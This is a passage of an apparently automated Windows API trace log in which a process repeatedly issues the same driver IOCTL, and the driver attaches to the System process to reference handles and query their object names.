(in: Handle=0xffffffff800004a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032a53f0, HandleInformation=0x0) returned 0x0 [0063.531] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.531] PsReleaseProcessExitSynchronization () returned 0x2 [0063.531] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.531] ObQueryNameString (in: Object=0xfffffa80032a53f0, ObjectNameInfo=0xfffffa80038fe044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fe044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.531] ObfDereferenceObject (Object=0xfffffa80032a53f0) returned 0x1 [0063.531] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.531] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.531] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0063.531] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.531] PsAcquireProcessExitSynchronization () returned 0x0 [0063.531] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.531] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003435920, HandleInformation=0x0) returned 0x0 [0063.531] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.531] PsReleaseProcessExitSynchronization () returned 0x2 [0063.531] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.531] ObQueryNameString (in: Object=0xfffffa8003435920, ObjectNameInfo=0xfffffa80038ff044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ff044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.531] ObfDereferenceObject (Object=0xfffffa8003435920) returned 0x2 [0063.531] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.531] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.531] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0063.531] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.531] PsAcquireProcessExitSynchronization () returned 0x0 [0063.531] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.532] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f95050, HandleInformation=0x0) returned 0x0 [0063.532] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.532] PsReleaseProcessExitSynchronization () returned 0x2 [0063.532] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.532] ObQueryNameString (in: Object=0xfffffa8002f95050, ObjectNameInfo=0xfffffa800390c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.532] ObfDereferenceObject (Object=0xfffffa8002f95050) returned 0x2 [0063.532] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.532] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.532] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.532] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.532] PsAcquireProcessExitSynchronization () returned 0x0 [0063.532] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.532] ObReferenceObjectByHandle (in: Handle=0xffffffff800004ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024f8050, HandleInformation=0x0) returned 0x0 [0063.532] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.532] PsReleaseProcessExitSynchronization () returned 0x2 [0063.532] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.532] ObQueryNameString (in: Object=0xfffffa80024f8050, ObjectNameInfo=0xfffffa800390d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.532] ObfDereferenceObject (Object=0xfffffa80024f8050) returned 0x2 [0063.532] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.532] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.532] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.532] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.532] PsAcquireProcessExitSynchronization () returned 0x0 [0063.532] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.532] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003097ab0, HandleInformation=0x0) returned 0x0 [0063.532] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.532] PsReleaseProcessExitSynchronization () returned 0x2 [0063.532] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.532] ObQueryNameString (in: Object=0xfffffa8003097ab0, ObjectNameInfo=0xfffffa800390e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.532] ObfDereferenceObject (Object=0xfffffa8003097ab0) returned 0x2 [0063.532] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.533] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.533] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0063.533] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.533] PsAcquireProcessExitSynchronization () returned 0x0 [0063.533] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.533] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8011864580, HandleInformation=0x0) returned 0x0 [0063.533] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.533] PsReleaseProcessExitSynchronization () returned 0x2 [0063.533] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.533] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038ef044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038ef044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.533] ObfDereferenceObject (Object=0xfffffa8011864580) returned 0x1 [0063.533] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.533] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.533] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.533] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.533] PsAcquireProcessExitSynchronization () returned 0x0 [0063.533] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.533] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80023b0c00, HandleInformation=0x0) returned 0x0 [0063.533] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.533] PsReleaseProcessExitSynchronization () returned 0x2 [0063.533] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.533] ObQueryNameString (in: Object=0xfffffa80023b0c00, ObjectNameInfo=0xfffffa80038bd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038bd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.533] ObfDereferenceObject (Object=0xfffffa80023b0c00) returned 0x2 [0063.533] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.533] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.533] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.533] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.533] PsAcquireProcessExitSynchronization () returned 0x0 [0063.533] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.533] ObReferenceObjectByHandle (in: Handle=0xffffffff800004fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800214ac80, HandleInformation=0x0) returned 0x0 [0063.534] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.534] PsReleaseProcessExitSynchronization () returned 0x2 [0063.534] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.534] ObQueryNameString (in: Object=0xfffffa800214ac80, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.534] ObfDereferenceObject (Object=0xfffffa800214ac80) returned 0x2 [0063.534] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.534] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.534] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.534] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.534] PsAcquireProcessExitSynchronization () returned 0x0 [0063.534] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.534] ObReferenceObjectByHandle (in: Handle=0xffffffff80000500, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80022f8700, HandleInformation=0x0) returned 0x0 [0063.534] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.534] PsReleaseProcessExitSynchronization () returned 0x2 [0063.534] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.534] ObQueryNameString (in: Object=0xfffffa80022f8700, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.534] ObfDereferenceObject (Object=0xfffffa80022f8700) returned 0x2 [0063.534] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.534] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.534] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.534] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.534] PsAcquireProcessExitSynchronization () returned 0x0 [0063.534] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.534] ObReferenceObjectByHandle (in: Handle=0xffffffff80000508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002149bd0, HandleInformation=0x0) returned 0x0 [0063.534] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.534] PsReleaseProcessExitSynchronization () returned 0x2 [0063.534] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.534] ObQueryNameString (in: Object=0xfffffa8002149bd0, ObjectNameInfo=0xfffffa80038da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.534] ObfDereferenceObject (Object=0xfffffa8002149bd0) returned 0x2 [0063.534] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.534] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.534] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.535] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.535] PsAcquireProcessExitSynchronization () returned 0x0 [0063.535] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.535] ObReferenceObjectByHandle (in: Handle=0xffffffff8000051c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002491050, HandleInformation=0x0) returned 0x0 [0063.535] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.535] PsReleaseProcessExitSynchronization () returned 0x2 [0063.535] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.535] ObQueryNameString (in: Object=0xfffffa8002491050, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.535] ObfDereferenceObject (Object=0xfffffa8002491050) returned 0x2 [0063.535] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.535] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.535] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.535] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.535] PsAcquireProcessExitSynchronization () returned 0x0 [0063.535] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.535] ObReferenceObjectByHandle (in: Handle=0xffffffff80000528, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002135af0, HandleInformation=0x0) returned 0x0 [0063.535] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.535] PsReleaseProcessExitSynchronization () returned 0x2 [0063.535] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.535] ObQueryNameString (in: Object=0xfffffa8002135af0, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.535] ObfDereferenceObject (Object=0xfffffa8002135af0) returned 0x2 [0063.535] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.535] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.535] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.535] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.535] PsAcquireProcessExitSynchronization () returned 0x0 [0063.535] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.535] ObReferenceObjectByHandle (in: Handle=0xffffffff80000530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80033f9f20, HandleInformation=0x0) returned 0x0 [0063.535] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.535] PsReleaseProcessExitSynchronization () returned 0x2 [0063.535] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.535] ObQueryNameString (in: Object=0xfffffa80033f9f20, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.535] ObfDereferenceObject (Object=0xfffffa80033f9f20) returned 0x2 [0063.535] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.536] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.536] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.536] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.536] PsAcquireProcessExitSynchronization () returned 0x0 [0063.536] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.536] ObReferenceObjectByHandle (in: Handle=0xffffffff80000534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8010da5050, HandleInformation=0x0) returned 0x0 [0063.536] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.536] PsReleaseProcessExitSynchronization () returned 0x2 [0063.536] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.536] ObQueryNameString (in: Object=0xfffffa8010da5050, ObjectNameInfo=0xfffffa80038e0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.536] ObfDereferenceObject (Object=0xfffffa8010da5050) returned 0x2 [0063.536] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.536] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.536] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.536] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.536] PsAcquireProcessExitSynchronization () returned 0x0 [0063.536] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.536] ObReferenceObjectByHandle (in: Handle=0xffffffff80000538, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003595410, HandleInformation=0x0) returned 0x0 [0063.536] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.536] PsReleaseProcessExitSynchronization () returned 0x2 [0063.536] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.536] ObQueryNameString (in: Object=0xfffffa8003595410, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.536] ObfDereferenceObject (Object=0xfffffa8003595410) returned 0x2 [0063.536] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.536] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.536] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.536] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.536] PsAcquireProcessExitSynchronization () returned 0x0 [0063.536] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.536] ObReferenceObjectByHandle (in: Handle=0xffffffff8000053c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003429680, HandleInformation=0x0) returned 0x0 [0063.536] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.536] PsReleaseProcessExitSynchronization () returned 0x2 [0063.536] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.536] ObQueryNameString (in: Object=0xfffffa8003429680, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, 